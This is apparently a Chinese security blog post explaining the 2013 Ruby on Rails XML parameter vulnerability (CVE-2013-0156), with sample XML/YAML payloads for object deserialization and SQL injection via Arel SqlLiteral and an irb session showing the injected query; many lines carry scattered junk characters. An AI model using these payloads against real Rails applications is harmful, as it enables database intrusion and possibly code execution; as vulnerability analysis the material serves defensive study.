Author: wofeiwo#80sec.com 7 ~' \6 p$ [. B; v8 G. M
5 e$ p$ i, I9 a9 P% n# Z3 N5 J注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 4 t4 C, I. |5 E, c, Z1 v t
7 s: \% o. L$ r
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. , K" S6 _1 g p
' q9 \3 }: p9 z0 Y- a o/ {CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. + ~9 f& z* W" l
" C. ]9 @" s$ M* Z$ j4 G! |6 W( V为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
) `& K! Z. d6 }7 d2 V% d( R9 n, D( J# D, ^. N
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: ) O* a9 ^6 v) W/ }! R5 V( i, \2 |
) g- m2 G& a3 f k8 k& A$ Y
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
: x- D+ q) t2 H5 Z$ `0 g8 s5 v* Z
- x% C% v3 z1 T4 o# l1 E0 b说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? 9 i+ s) E$ O" l
! u/ K- p1 b( e1 ]) K+ g" H然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。 5 ]( O# T8 s5 E* W" t- a
' n3 f# j T; [% C7 p6 z
但是等等,还有另一个参数类型,yaml。
% P5 g' v* N" u: \9 p Y# R
+ n( Y) E( C% Ayaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
$ T! @' F! n$ L) Q/ X3 d/ o
, ~1 _% p- ]% [. y: ]<test type="yaml">--- !ruby/object:A4 N: s- }" U' B' P3 y7 h
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
4 ~5 I$ W. {6 E0 b! c
8 _7 V/ x& L) ], f如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 9 `! [1 q7 a. N. g4 O) r
/ u. o+ J' V. N2 l5 ~0 _; B
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 " {0 _4 ]8 H% i, Y- x# l* s
5 n t u0 G/ a$ Y$ v一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) - h. G9 N) }8 a
$ j6 L0 D* k, G& D, nmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容: $ S+ I% [# v6 u. \% B6 a
) v) Z; f6 r: v" _( S& ~; K
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
; M5 h0 [" d4 R: U6 _ g1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
3 P5 {- l& [- A9 A. a; E% n6 [5 L+ H
' _, L0 ?$ G! r4 {& c3 [irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
D7 C! m& E* A4 S$ C+ h# C4 F _, W0 a
|